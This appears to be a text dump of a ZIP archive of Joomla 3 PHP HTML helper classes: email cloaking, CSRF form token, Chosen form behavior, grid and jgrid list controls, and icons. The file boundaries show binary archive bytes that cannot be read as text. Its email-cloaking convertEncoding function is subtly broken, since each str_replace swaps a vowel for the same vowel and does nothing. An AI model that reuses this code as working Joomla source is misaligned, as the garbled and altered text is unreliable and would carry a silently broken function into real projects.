// Convert mail
$mail = static::convertEncoding($mail);
// Random hash
$rand = md5($mail . mt_rand(1, 100000));
// Split email by @ symbol
$mail = explode('@', $mail);
$mail_parts = explode('.', $mail[1]);
if ($mailto)
{
// Special handling when mail text is different from mail address
if ($text)
{
// Convert text - here is the right place
$text = static::convertEncoding($text);
if ($email)
{
// Split email by @ symbol
$text = explode('@', $text);
$text_parts = explode('.', $text[1]);
$tmpScript = "var addy_text" . $rand . " = '"
. @$text[0] . "' + '@' + '" .
implode("' + '.' + '", @$text_parts)
. "';";
}
else
{
$tmpScript = "var addy_text" . $rand . " = '"
. $text . "';";
}
$tmpScript .= "document.getElementById('cloak" . $rand .
"').innerHTML += '<a ' + path + '\''
+ prefix + ':' + addy"
. $rand . " + '\'>'+addy_text" . $rand .
"+'<\/a>';";
}
else
{
$tmpScript = "document.getElementById('cloak" . $rand .
"').innerHTML += '<a ' + path + '\''
+ prefix + ':' + addy"
. $rand . " + '\'>' +addy" . $rand .
"+'<\/a>';";
}
}
else
{
$tmpScript = "document.getElementById('cloak" . $rand .
"').innerHTML += addy" . $rand . ";";
}
$script = "
document.getElementById('cloak" . $rand .
"').innerHTML = '';
var prefix = 'ma' + 'il' +
'to';
var path = 'hr' + 'ef' + '=';
var addy" . $rand . " = '" . @$mail[0] .
"' + '@';
addy" . $rand . " = addy" . $rand . " +
'" . implode("' + '.' + '",
$mail_parts) . "';
$tmpScript
";
// TODO: Use inline script for now
$inlineScript = "<script
type='text/javascript'>" . $script .
"</script>";
return '<span id="cloak' . $rand .
'">' . JText::_('JLIB_HTML_CLOAKING') .
'</span>' . $inlineScript;
}
/**
* Convert encoded text
*
* @param string $text Text to convert
*
* @return string The converted text.
*
* @since 1.5
*/
protected static function convertEncoding($text)
{
$text = html_entity_decode($text);
// Replace vowels with character encoding
$text = str_replace('a', 'a', $text);
$text = str_replace('e', 'e', $text);
$text = str_replace('i', 'i', $text);
$text = str_replace('o', 'o', $text);
$text = str_replace('u', 'u', $text);
$text = htmlentities($text, ENT_QUOTES, 'UTF-8', false);
return $text;
}
}
PK〈[�e7+��
html/form.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Utilities\ArrayHelper;
/**
* Utility class for form elements
*
* @since 1.5
*/
abstract class JHtmlForm
{
/**
* Array containing information for loaded files.
*
* @var array
*
* @since 3.8.0
*/
protected static $loaded = array();
/**
* Displays a hidden token field to reduce the risk of CSRF exploits
*
* Use in conjunction with JSession::checkToken()
*
* @param array $attribs Input element attributes.
*
* @return string A hidden input field with a token
*
* @see JSession::checkToken()
* @since 1.5
*/
public static function token(array $attribs = array())
{
$attributes = '';
if ($attribs !== array())
{
$attributes .= ' ' . ArrayHelper::toString($attribs);
}
return '<input type="hidden" name="' .
JSession::getFormToken() . '" value="1"' .
$attributes . ' />';
}
/**
* Add CSRF form token to Joomla script options that developers can get it
by Javascript.
*
* @param string $name The script option key name.
*
* @return void
*
* @since 3.8.0
*/
public static function csrf($name = 'csrf.token')
{
if (isset(static::$loaded[__METHOD__][$name]))
{
return;
}
/** @var JDocumentHtml $doc */
$doc = JFactory::getDocument();
if (!$doc instanceof JDocumentHtml || $doc->getType() !==
'html')
{
return;
}
$doc->addScriptOptions($name, JSession::getFormToken());
static::$loaded[__METHOD__][$name] = true;
}
}
PK〈[��
html/formbehavior.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Utility class for form related behaviors
*
* @since 3.0
*/
abstract class JHtmlFormbehavior
{
/**
* @var array Array containing information for loaded files
* @since 3.0
*/
protected static $loaded = array();
/**
* Method to load the Chosen JavaScript framework and supporting CSS into
the document head
*
* If debugging mode is on an uncompressed version of Chosen is included
for easier debugging.
*
* @param string $selector Class for Chosen elements.
* @param mixed $debug Is debugging mode on? [optional]
* @param array $options the possible Chosen options as name =>
value [optional]
*
* @return void
*
* @since 3.0
*/
public static function chosen($selector = '.advancedSelect',
$debug = null, $options = array())
{
if (isset(static::$loaded[__METHOD__][$selector]))
{
return;
}
// If no debugging value is set, use the configuration setting
if ($debug === null)
{
$debug = JDEBUG;
}
// Default settings
if (!isset($options['disable_search_threshold']))
{
$options['disable_search_threshold'] = 10;
}
// Allow searching contains space in query
if (!isset($options['search_contains']))
{
$options['search_contains'] = true;
}
if (!isset($options['allow_single_deselect']))
{
$options['allow_single_deselect'] = true;
}
if (!isset($options['placeholder_text_multiple']))
{
$options['placeholder_text_multiple'] =
JText::_('JGLOBAL_TYPE_OR_SELECT_SOME_OPTIONS');
}
if (!isset($options['placeholder_text_single']))
{
$options['placeholder_text_single'] =
JText::_('JGLOBAL_SELECT_AN_OPTION');
}
if (!isset($options['no_results_text']))
{
$options['no_results_text'] =
JText::_('JGLOBAL_SELECT_NO_RESULTS_MATCH');
}
$displayData = array(
'debug' => $debug,
'options' => $options,
'selector' => $selector,
);
JLayoutHelper::render('joomla.html.formbehavior.chosen',
$displayData);
static::$loaded[__METHOD__][$selector] = true;
return;
}
/**
* Method to load the AJAX Chosen library
*
* If debugging mode is on an uncompressed version of AJAX Chosen is
included for easier debugging.
*
* @param Registry $options Options in a Registry object
* @param mixed $debug Is debugging mode on? [optional]
*
* @return void
*
* @since 3.0
*/
public static function ajaxchosen(Registry $options, $debug = null)
{
// Retrieve options/defaults
$selector = $options->get('selector',
'.tagfield');
$type = $options->get('type', 'GET');
$url = $options->get('url', null);
$dataType = $options->get('dataType',
'json');
$jsonTermKey = $options->get('jsonTermKey',
'term');
$afterTypeDelay = $options->get('afterTypeDelay',
'500');
$minTermLength = $options->get('minTermLength',
'3');
// Ajax URL is mandatory
if (!empty($url))
{
if (isset(static::$loaded[__METHOD__][$selector]))
{
return;
}
// Requires chosen to work
static::chosen($selector, $debug);
$displayData = array(
'url' => $url,
'debug' => $debug,
'options' => $options,
'selector' => $selector,
'type' => $type,
'dataType' => $dataType,
'jsonTermKey' => $jsonTermKey,
'afterTypeDelay' => $afterTypeDelay,
'minTermLength' => $minTermLength,
);
JLayoutHelper::render('joomla.html.formbehavior.ajaxchosen',
$displayData);
static::$loaded[__METHOD__][$selector] = true;
}
return;
}
}
PK〈[?�A)A)
html/grid.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class for creating HTML Grids
*
* @since 1.5
*/
abstract class JHtmlGrid
{
/**
* Display a boolean setting widget.
*
* @param integer $i The row index.
* @param integer $value The value of the boolean field.
* @param string $taskOn Task to turn the boolean setting on.
* @param string $taskOff Task to turn the boolean setting off.
*
* @return string The boolean setting widget.
*
* @since 1.6
*
* @deprecated 4.0 This is only used in hathor and will be removed
without replacement
*/
public static function boolean($i, $value, $taskOn = null, $taskOff =
null)
{
// Load the behavior.
static::behavior();
JHtml::_('bootstrap.tooltip');
// Build the title.
$title = $value ? JText::_('JYES') : JText::_('JNO');
$title = JHtml::_('tooltipText', $title,
JText::_('JGLOBAL_CLICK_TO_TOGGLE_STATE'), 0);
// Build the <a> tag.
$bool = $value ? 'true' : 'false';
$task = $value ? $taskOff : $taskOn;
$toggle = (!$task) ? false : true;
if ($toggle)
{
return '<a class="grid_' . $bool . '
hasTooltip" title="' . $title . '"
rel="{id:\'cb' . $i . '\', task:\'' .
$task
. '\'}" href="#toggle"></a>';
}
else
{
return '<a class="grid_' . $bool .
'"></a>';
}
}
/**
* Method to sort a column in a grid
*
* @param string $title The link title
* @param string $order The order field for the column
* @param string $direction The current direction
* @param string $selected The selected ordering
* @param string $task An optional task override
* @param string $newDirection An optional direction for the new
column
* @param string $tip An optional text shown as tooltip title
instead of $title
* @param string $form An optional form selector
*
* @return string
*
* @since 1.5
*/
public static function sort($title, $order, $direction = 'asc',
$selected = '', $task = null, $newDirection = 'asc',
$tip = '', $form = null)
{
JHtml::_('behavior.core');
JHtml::_('bootstrap.popover');
$direction = strtolower($direction);
$icon = array('arrow-up-3', 'arrow-down-3');
$index = (int) ($direction === 'desc');
if ($order != $selected)
{
$direction = $newDirection;
}
else
{
$direction = $direction === 'desc' ? 'asc' :
'desc';
}
if ($form)
{
$form = ', document.getElementById(\'' . $form .
'\')';
}
$html = '<a href="#"
onclick="Joomla.tableOrdering(\'' . $order .
'\',\'' . $direction . '\',\'' .
$task . '\'' . $form . ');return false;"'
. ' class="hasPopover" title="' .
htmlspecialchars(JText::_($tip ?: $title)) . '"'
. ' data-content="' .
htmlspecialchars(JText::_('JGLOBAL_CLICK_TO_SORT_THIS_COLUMN')) .
'" data-placement="top">';
if (isset($title['0']) && $title['0'] ===
'<')
{
$html .= $title;
}
else
{
$html .= JText::_($title);
}
if ($order == $selected)
{
$html .= '<span class="icon-' . $icon[$index] .
'"></span>';
}
$html .= '</a>';
return $html;
}
/**
* Method to check all checkboxes in a grid
*
* @param string $name The name of the form element
* @param string $tip The text shown as tooltip title instead of
$tip
* @param string $action The action to perform on clicking the
checkbox
*
* @return string
*
* @since 3.1.2
*/
public static function checkall($name = 'checkall-toggle', $tip
= 'JGLOBAL_CHECK_ALL', $action =
'Joomla.checkAll(this)')
{
JHtml::_('behavior.core');
JHtml::_('bootstrap.tooltip');
return '<input type="checkbox" name="' .
$name . '" value="" class="hasTooltip"
title="' . JHtml::_('tooltipText', $tip)
. '" onclick="' . $action . '"
/>';
}
/**
* Method to create a checkbox for a grid row.
*
* @param integer $rowNum The row index
* @param integer $recId The record id
* @param boolean $checkedOut True if item is checked out
* @param string $name The name of the form element
* @param string $stub The name of stub identifier
*
* @return mixed String of html with a checkbox if item is not checked
out, null if checked out.
*
* @since 1.5
*/
public static function id($rowNum, $recId, $checkedOut = false, $name =
'cid', $stub = 'cb')
{
return $checkedOut ? '' : '<input
type="checkbox" id="' . $stub . $rowNum . '"
name="' . $name . '[]" value="' . $recId
. '" onclick="Joomla.isChecked(this.checked);"
/>';
}
/**
* Displays a checked out icon.
*
* @param object &$row A data object (must contain
checkedout as a property).
* @param integer $i The index of the row.
* @param string $identifier The property name of the primary key or
index of the row.
*
* @return string
*
* @since 1.5
*/
public static function checkedOut(&$row, $i, $identifier =
'id')
{
$user = JFactory::getUser();
$userid = $user->get('id');
if ($row instanceof JTable)
{
$result = $row->isCheckedOut($userid);
}
else
{
$result = false;
}
if ($result)
{
return static::_checkedOut($row);
}
else
{
if ($identifier === 'id')
{
return JHtml::_('grid.id', $i, $row->$identifier);
}
else
{
return JHtml::_('grid.id', $i, $row->$identifier, $result,
$identifier);
}
}
}
/**
* Method to create a clickable icon to change the state of an item
*
* @param mixed $value Either the scalar value or an object (for
backward compatibility, deprecated)
* @param integer $i The index
* @param string $img1 Image for a positive or on value
* @param string $img0 Image for the empty or off value
* @param string $prefix An optional prefix for the task
*
* @return string
*
* @since 1.5
*/
public static function published($value, $i, $img1 = 'tick.png',
$img0 = 'publish_x.png', $prefix = '')
{
if (is_object($value))
{
$value = $value->published;
}
$img = $value ? $img1 : $img0;
$task = $value ? 'unpublish' : 'publish';
$alt = $value ? JText::_('JPUBLISHED') :
JText::_('JUNPUBLISHED');
$action = $value ? JText::_('JLIB_HTML_UNPUBLISH_ITEM') :
JText::_('JLIB_HTML_PUBLISH_ITEM');
return '<a href="#" onclick="return
listItemTask(\'cb' . $i . '\',\'' . $prefix .
$task . '\')" title="' . $action .
'">'
. JHtml::_('image', 'admin/' . $img, $alt, null,
true) . '</a>';
}
/**
* Method to create a select list of states for filtering
* By default the filter shows only published and unpublished items
*
* @param string $filterState The initial filter state
* @param string $published The JText string for published
* @param string $unpublished The JText string for Unpublished
* @param string $archived The JText string for Archived
* @param string $trashed The JText string for Trashed
*
* @return string
*
* @since 1.5
*/
public static function state($filterState = '*', $published =
'JPUBLISHED', $unpublished = 'JUNPUBLISHED', $archived
= null, $trashed = null)
{
$state = array('' => '- ' .
JText::_('JLIB_HTML_SELECT_STATE') . ' -',
'P' => JText::_($published), 'U' =>
JText::_($unpublished));
if ($archived)
{
$state['A'] = JText::_($archived);
}
if ($trashed)
{
$state['T'] = JText::_($trashed);
}
return JHtml::_(
'select.genericlist',
$state,
'filter_state',
array(
'list.attr' => 'class="inputbox"
size="1" onchange="Joomla.submitform();"',
'list.select' => $filterState,
'option.key' => null,
)
);
}
/**
* Method to create an icon for saving a new ordering in a grid
*
* @param array $rows The array of rows of rows
* @param string $image The image [UNUSED]
* @param string $task The task to use, defaults to save order
*
* @return string
*
* @since 1.5
*/
public static function order($rows, $image = 'filesave.png',
$task = 'saveorder')
{
return '<a href="javascript:saveorder('
. (count($rows) - 1) . ', \'' . $task .
'\')" rel="tooltip" class="saveorder btn
btn-micro pull-right" title="'
. JText::_('JLIB_HTML_SAVE_ORDER') . '"><span
class="icon-menu-2"></span></a>';
}
/**
* Method to create a checked out icon with optional overlib in a grid.
*
* @param object &$row The row object
* @param boolean $overlib True if an overlib with checkout
information should be created.
*
* @return string HTMl for the icon and overlib
*
* @since 1.5
*/
protected static function _checkedOut(&$row, $overlib = true)
{
$hover = '';
if ($overlib)
{
JHtml::_('bootstrap.tooltip');
$date = JHtml::_('date', $row->checked_out_time,
JText::_('DATE_FORMAT_LC1'));
$time = JHtml::_('date', $row->checked_out_time,
'H:i');
$hover = '<span class="editlinktip hasTooltip"
title="' . JHtml::_('tooltipText',
'JLIB_HTML_CHECKED_OUT', $row->editor)
. '<br />' . $date . '<br />' . $time .
'">';
}
return $hover . JHtml::_('image',
'admin/checked_out.png', null, null, true) .
'</span>';
}
/**
* Method to build the behavior script and add it to the document head.
*
* @return void
*
* @since 1.6
*
* @deprecated 4.0 This is only used in hathor and will be removed
without replacement
*/
public static function behavior()
{
static $loaded;
if (!$loaded)
{
// Include jQuery
JHtml::_('jquery.framework');
// Build the behavior script.
$js = '
jQuery(function($){
$actions = $(\'a.move_up, a.move_down, a.grid_true, a.grid_false,
a.grid_trash\');
$actions.each(function(){
$(this).on(\'click\', function(){
args = JSON.decode(this.rel);
listItemTask(args.id, args.task);
});
});
$(\'input.check-all-toggle\').each(function(){
$(this).on(\'click\', function(){
if (this.checked) {
$(this).closest(\'form\').find(\'input[type="checkbox"]\').each(function(){
this.checked = true;
})
}
else {
$(this).closest(\'form\').find(\'input[type="checkbox"]\').each(function(){
this.checked = false;
})
}
});
});
});';
// Add the behavior to the document head.
$document = JFactory::getDocument();
$document->addScriptDeclaration($js);
$loaded = true;
}
}
}
PK〈[p��*html/icons.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
/**
* Utility class for icons.
*
* @since 2.5
*/
abstract class JHtmlIcons
{
/**
* Method to generate html code for a list of buttons
*
* @param array $buttons Array of buttons
*
* @return string
*
* @since 2.5
*/
public static function buttons($buttons)
{
$html = array();
foreach ($buttons as $button)
{
$html[] = JHtml::_('icons.button', $button);
}
return implode($html);
}
/**
* Method to generate html code for a list of buttons
*
* @param array $button Button properties
*
* @return string
*
* @since 2.5
*/
public static function button($button)
{
if (isset($button['access']))
{
if (is_bool($button['access']))
{
if ($button['access'] == false)
{
return '';
}
}
else
{
// Get the user object to verify permissions
$user = JFactory::getUser();
// Take each pair of permission, context values.
for ($i = 0, $n = count($button['access']); $i < $n; $i +=
2)
{
if (!$user->authorise($button['access'][$i],
$button['access'][$i + 1]))
{
return '';
}
}
}
}
// Instantiate a new JLayoutFile instance and render the layout
$layout = new JLayoutFile('joomla.quickicons.icon');
return $layout->render($button);
}
}
PK〈[�q�R�@�@html/jgrid.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Utilities\ArrayHelper;
/**
* Utility class for creating HTML Grids
*
* @since 1.6
*/
abstract class JHtmlJGrid
{
/**
* Returns an action on a grid
*
* @param integer $i The row index
* @param string $task The task to fire
* @param string|array $prefix An optional task prefix or an
array of options
* @param string $text An optional text to display
[unused - @deprecated 4.0]
* @param string $activeTitle An optional active tooltip to
display if $enable is true
* @param string $inactiveTitle An optional inactive tooltip to
display if $enable is true
* @param boolean $tip An optional setting for tooltip
* @param string $activeClass An optional active HTML class
* @param string $inactiveClass An optional inactive HTML class
* @param boolean $enabled An optional setting for access
control on the action.
* @param boolean $translate An optional setting for
translation.
* @param string $checkbox An optional prefix for
checkboxes.
*
* @return string The HTML markup
*
* @since 1.6
*/
public static function action($i, $task, $prefix = '', $text =
'', $activeTitle = '', $inactiveTitle = '',
$tip = false, $activeClass = '',
$inactiveClass = '', $enabled = true, $translate = true,
$checkbox = 'cb')
{
if (is_array($prefix))
{
$options = $prefix;
$activeTitle = array_key_exists('active_title', $options) ?
$options['active_title'] : $activeTitle;
$inactiveTitle = array_key_exists('inactive_title', $options)
? $options['inactive_title'] : $inactiveTitle;
$tip = array_key_exists('tip', $options) ?
$options['tip'] : $tip;
$activeClass = array_key_exists('active_class', $options) ?
$options['active_class'] : $activeClass;
$inactiveClass = array_key_exists('inactive_class', $options)
? $options['inactive_class'] : $inactiveClass;
$enabled = array_key_exists('enabled', $options) ?
$options['enabled'] : $enabled;
$translate = array_key_exists('translate', $options) ?
$options['translate'] : $translate;
$checkbox = array_key_exists('checkbox', $options) ?
$options['checkbox'] : $checkbox;
$prefix = array_key_exists('prefix', $options) ?
$options['prefix'] : '';
}
if ($tip)
{
JHtml::_('bootstrap.tooltip');
$title = $enabled ? $activeTitle : $inactiveTitle;
$title = $translate ? JText::_($title) : $title;
$title = JHtml::_('tooltipText', $title, '', 0);
}
if ($enabled)
{
$html[] = '<a class="btn btn-micro' . ($activeClass
=== 'publish' ? ' active' : '') . ($tip ?
' hasTooltip' : '') . '"';
$html[] = ' href="javascript:void(0);"
onclick="return listItemTask(\'' . $checkbox . $i .
'\',\'' . $prefix . $task . '\')"';
$html[] = $tip ? ' title="' . $title . '"'
: '';
$html[] = '>';
$html[] = '<span class="icon-' . $activeClass .
'" aria-hidden="true"></span>';
$html[] = '</a>';
}
else
{
$html[] = '<a class="btn btn-micro disabled jgrid' .
($tip ? ' hasTooltip' : '') . '"';
$html[] = $tip ? ' title="' . $title . '"'
: '';
$html[] = '>';
if ($activeClass === 'protected')
{
$html[] = '<span
class="icon-lock"></span>';
}
else
{
$html[] = '<span class="icon-' . $inactiveClass .
'"></span>';
}
$html[] = '</a>';
}
return implode($html);
}
/**
* Returns a state on a grid
*
* @param array $states array of value/state. Each state is
an array of the form
* (task, text, active title, inactive
title, tip (boolean), HTML active class, HTML inactive class)
* or ('task'=>task,
'text'=>text, 'active_title'=>active title,
*
'inactive_title'=>inactive title, 'tip'=>boolean,
'active_class'=>html active class,
* 'inactive_class'=>html
inactive class)
* @param integer $value The state value.
* @param integer $i The row index
* @param string|array $prefix An optional task prefix or an array
of options
* @param boolean $enabled An optional setting for access
control on the action.
* @param boolean $translate An optional setting for translation.
* @param string $checkbox An optional prefix for checkboxes.
*
* @return string The HTML markup
*
* @since 1.6
*/
public static function state($states, $value, $i, $prefix = '',
$enabled = true, $translate = true, $checkbox = 'cb')
{
if (is_array($prefix))
{
$options = $prefix;
$enabled = array_key_exists('enabled', $options) ?
$options['enabled'] : $enabled;
$translate = array_key_exists('translate', $options) ?
$options['translate'] : $translate;
$checkbox = array_key_exists('checkbox', $options) ?
$options['checkbox'] : $checkbox;
$prefix = array_key_exists('prefix', $options) ?
$options['prefix'] : '';
}
$state = ArrayHelper::getValue($states, (int) $value, $states[0]);
$task = array_key_exists('task', $state) ?
$state['task'] : $state[0];
$text = array_key_exists('text', $state) ?
$state['text'] : (array_key_exists(1, $state) ? $state[1] :
'');
$activeTitle = array_key_exists('active_title', $state) ?
$state['active_title'] : (array_key_exists(2, $state) ? $state[2]
: '');
$inactiveTitle = array_key_exists('inactive_title', $state) ?
$state['inactive_title'] : (array_key_exists(3, $state) ?
$state[3] : '');
$tip = array_key_exists('tip', $state) ?
$state['tip'] : (array_key_exists(4, $state) ? $state[4] :
false);
$activeClass = array_key_exists('active_class', $state) ?
$state['active_class'] : (array_key_exists(5, $state) ? $state[5]
: '');
$inactiveClass = array_key_exists('inactive_class', $state) ?
$state['inactive_class'] : (array_key_exists(6, $state) ?
$state[6] : '');
return static::action(
$i, $task, $prefix, $text, $activeTitle, $inactiveTitle, $tip,
$activeClass, $inactiveClass, $enabled, $translate, $checkbox
);
}
/**
* Returns a published state on a grid
*
* @param integer $value The state value.
* @param integer $i The row index
* @param string|array $prefix An optional task prefix or an
array of options
* @param boolean $enabled An optional setting for access
control on the action.
* @param string $checkbox An optional prefix for checkboxes.
* @param string $publishUp An optional start publishing date.
* @param string $publishDown An optional finish publishing
date.
*
* @return string The HTML markup
*
* @see JHtmlJGrid::state()
* @since 1.6
*/
public static function published($value, $i, $prefix = '',
$enabled = true, $checkbox = 'cb', $publishUp = null,
$publishDown = null)
{
if (is_array($prefix))
{
$options = $prefix;
$enabled = array_key_exists('enabled', $options) ?
$options['enabled'] : $enabled;
$checkbox = array_key_exists('checkbox', $options) ?
$options['checkbox'] : $checkbox;
$prefix = array_key_exists('prefix', $options) ?
$options['prefix'] : '';
}
$states = array(
1 => array('unpublish', 'JPUBLISHED',
'JLIB_HTML_UNPUBLISH_ITEM', 'JPUBLISHED', true,
'publish', 'publish'),
0 => array('publish', 'JUNPUBLISHED',
'JLIB_HTML_PUBLISH_ITEM', 'JUNPUBLISHED', true,
'unpublish', 'unpublish'),
2 => array('unpublish', 'JARCHIVED',
'JLIB_HTML_UNPUBLISH_ITEM', 'JARCHIVED', true,
'archive', 'archive'),
-2 => array('publish', 'JTRASHED',
'JLIB_HTML_PUBLISH_ITEM', 'JTRASHED', true,
'trash', 'trash'),
);
// Special state for dates
if ($publishUp || $publishDown)
{
$nullDate = JFactory::getDbo()->getNullDate();
$nowDate = JFactory::getDate()->toUnix();
$tz = JFactory::getUser()->getTimezone();
$publishUp = ($publishUp != $nullDate) ? JFactory::getDate($publishUp,
'UTC')->setTimeZone($tz) : false;
$publishDown = ($publishDown != $nullDate) ?
JFactory::getDate($publishDown, 'UTC')->setTimeZone($tz) :
false;
// Create tip text, only we have publish up or down settings
$tips = array();
if ($publishUp)
{
$tips[] = JText::sprintf('JLIB_HTML_PUBLISHED_START',
JHtml::_('date', $publishUp,
JText::_('DATE_FORMAT_LC5'), 'UTC'));
}
if ($publishDown)
{
$tips[] = JText::sprintf('JLIB_HTML_PUBLISHED_FINISHED',
JHtml::_('date', $publishDown,
JText::_('DATE_FORMAT_LC5'), 'UTC'));
}
$tip = empty($tips) ? false : implode('<br />', $tips);
// Add tips and special titles
foreach ($states as $key => $state)
{
// Create special titles for published items
if ($key == 1)
{
$states[$key][2] = $states[$key][3] =
'JLIB_HTML_PUBLISHED_ITEM';
if ($publishUp > $nullDate && $nowDate <
$publishUp->toUnix())
{
$states[$key][2] = $states[$key][3] =
'JLIB_HTML_PUBLISHED_PENDING_ITEM';
$states[$key][5] = $states[$key][6] = 'pending';
}
if ($publishDown > $nullDate && $nowDate >
$publishDown->toUnix())
{
$states[$key][2] = $states[$key][3] =
'JLIB_HTML_PUBLISHED_EXPIRED_ITEM';
$states[$key][5] = $states[$key][6] = 'expired';
}
}
// Add tips to titles
if ($tip)
{
$states[$key][1] = JText::_($states[$key][1]);
$states[$key][2] = JText::_($states[$key][2]) . '<br
/>' . $tip;
$states[$key][3] = JText::_($states[$key][3]) . '<br
/>' . $tip;
$states[$key][4] = true;
}
}
return static::state($states, $value, $i, array('prefix' =>
$prefix, 'translate' => !$tip), $enabled, true, $checkbox);
}
return static::state($states, $value, $i, $prefix, $enabled, true,
$checkbox);
}
/**
* Returns an isDefault state on a grid
*
* @param integer $value The state value.
* @param integer $i The row index
* @param string|array $prefix An optional task prefix or an array
of options
* @param boolean $enabled An optional setting for access
control on the action.
* @param string $checkbox An optional prefix for checkboxes.
*
* @return string The HTML markup
*
* @see JHtmlJGrid::state()
* @since 1.6
*/
public static function isdefault($value, $i, $prefix = '',
$enabled = true, $checkbox = 'cb')
{
if (is_array($prefix))
{
$options = $prefix;
$enabled = array_key_exists('enabled', $options) ?
$options['enabled'] : $enabled;
$checkbox = array_key_exists('checkbox', $options) ?
$options['checkbox'] : $checkbox;
$prefix = array_key_exists('prefix', $options) ?
$options['prefix'] : '';
}
$states = array(
0 => array('setDefault', '',
'JLIB_HTML_SETDEFAULT_ITEM', '', 1,
'unfeatured', 'unfeatured'),
1 => array('unsetDefault', 'JDEFAULT',
'JLIB_HTML_UNSETDEFAULT_ITEM', 'JDEFAULT', 1,
'featured', 'featured'),
);
return static::state($states, $value, $i, $prefix, $enabled, true,
$checkbox);
}
/**
* Returns an array of standard published state filter options.
*
* @param array $config An array of configuration options.
* This array can contain a list of key/value
pairs where values are boolean
* and keys can be taken from
'published', 'unpublished', 'archived',
'trash', 'all'.
* These pairs determine which values are
displayed.
*
* @return string The HTML markup
*
* @since 1.6
*/
public static function publishedOptions($config = array())
{
// Build the active state filter options.
$options = array();
if (!array_key_exists('published', $config) ||
$config['published'])
{
$options[] = JHtml::_('select.option', '1',
'JPUBLISHED');
}
if (!array_key_exists('unpublished', $config) ||
$config['unpublished'])
{
$options[] = JHtml::_('select.option', '0',
'JUNPUBLISHED');
}
if (!array_key_exists('archived', $config) ||
$config['archived'])
{
$options[] = JHtml::_('select.option', '2',
'JARCHIVED');
}
if (!array_key_exists('trash', $config) ||
$config['trash'])
{
$options[] = JHtml::_('select.option', '-2',
'JTRASHED');
}
if (!array_key_exists('all', $config) ||
$config['all'])
{
$options[] = JHtml::_('select.option', '*',
'JALL');
}
return $options;
}
/**
* Returns a checked-out icon
*
* @param integer $i The row index.
* @param string $editorName The name of the editor.
* @param string $time The time that the object was
checked out.
* @param string|array $prefix An optional task prefix or an array
of options
* @param boolean $enabled True to enable the action.
* @param string $checkbox An optional prefix for checkboxes.
*
* @return string The HTML markup
*
* @since 1.6
*/
public static function checkedout($i, $editorName, $time, $prefix =
'', $enabled = false, $checkbox = 'cb')
{
JHtml::_('bootstrap.tooltip');
if (is_array($prefix))
{
$options = $prefix;
$enabled = array_key_exists('enabled', $options) ?
$options['enabled'] : $enabled;
$checkbox = array_key_exists('checkbox', $options) ?
$options['checkbox'] : $checkbox;
$prefix = array_key_exists('prefix', $options) ?
$options['prefix'] : '';
}
$text = $editorName . '<br />' .
JHtml::_('date', $time, JText::_('DATE_FORMAT_LC')) .
'<br />' . JHtml::_('date', $time,
'H:i');
$activeTitle = JHtml::_('tooltipText',
JText::_('JLIB_HTML_CHECKIN'), $text, 0);
$inactiveTitle = JHtml::_('tooltipText',
JText::_('JLIB_HTML_CHECKED_OUT'), $text, 0);
return static::action(
$i, 'checkin', $prefix,
JText::_('JLIB_HTML_CHECKED_OUT'),
html_entity_decode($activeTitle, ENT_QUOTES, 'UTF-8'),
html_entity_decode($inactiveTitle, ENT_QUOTES, 'UTF-8'), true,
'checkedout', 'checkedout', $enabled, false, $checkbox
);
}
/**
* Creates an order-up action icon.
*
* @param integer $i The row index.
* @param string $task An optional task to fire.
* @param string|array $prefix An optional task prefix or an array
of options
* @param string $text An optional text to display
* @param boolean $enabled An optional setting for access
control on the action.
* @param string $checkbox An optional prefix for checkboxes.
*
* @return string The HTML markup
*
* @since 1.6
*/
public static function orderUp($i, $task = 'orderup', $prefix =
'', $text = 'JLIB_HTML_MOVE_UP', $enabled = true,
$checkbox = 'cb')
{
if (is_array($prefix))
{
$options = $prefix;
$text = array_key_exists('text', $options) ?
$options['text'] : $text;
$enabled = array_key_exists('enabled', $options) ?
$options['enabled'] : $enabled;
$checkbox = array_key_exists('checkbox', $options) ?
$options['checkbox'] : $checkbox;
$prefix = array_key_exists('prefix', $options) ?
$options['prefix'] : '';
}
return static::action($i, $task, $prefix, $text, $text, $text, false,
'uparrow', 'uparrow_disabled', $enabled, true,
$checkbox);
}
/**
* Creates an order-down action icon.
*
* @param integer $i The row index.
* @param string $task An optional task to fire.
* @param string|array $prefix An optional task prefix or an array
of options
* @param string $text An optional text to display
* @param boolean $enabled An optional setting for access
control on the action.
* @param string $checkbox An optional prefix for checkboxes.
*
* @return string The HTML markup
*
* @since 1.6
*/
public static function orderDown($i, $task = 'orderdown',
$prefix = '', $text = 'JLIB_HTML_MOVE_DOWN', $enabled =
true, $checkbox = 'cb')
{
if (is_array($prefix))
{
$options = $prefix;
$text = array_key_exists('text', $options) ?
$options['text'] : $text;
$enabled = array_key_exists('enabled', $options) ?
$options['enabled'] : $enabled;
$checkbox = array_key_exists('checkbox', $options) ?
$options['checkbox'] : $checkbox;
$prefix = array_key_exists('prefix', $options) ?
$options['prefix'] : '';
}
return static::action($i, $task, $prefix, $text, $text, $text, false,
'downarrow', 'downarrow_disabled', $enabled, true,
$checkbox);
}
}
PK〈[r^���html/jquery.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage HTML
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
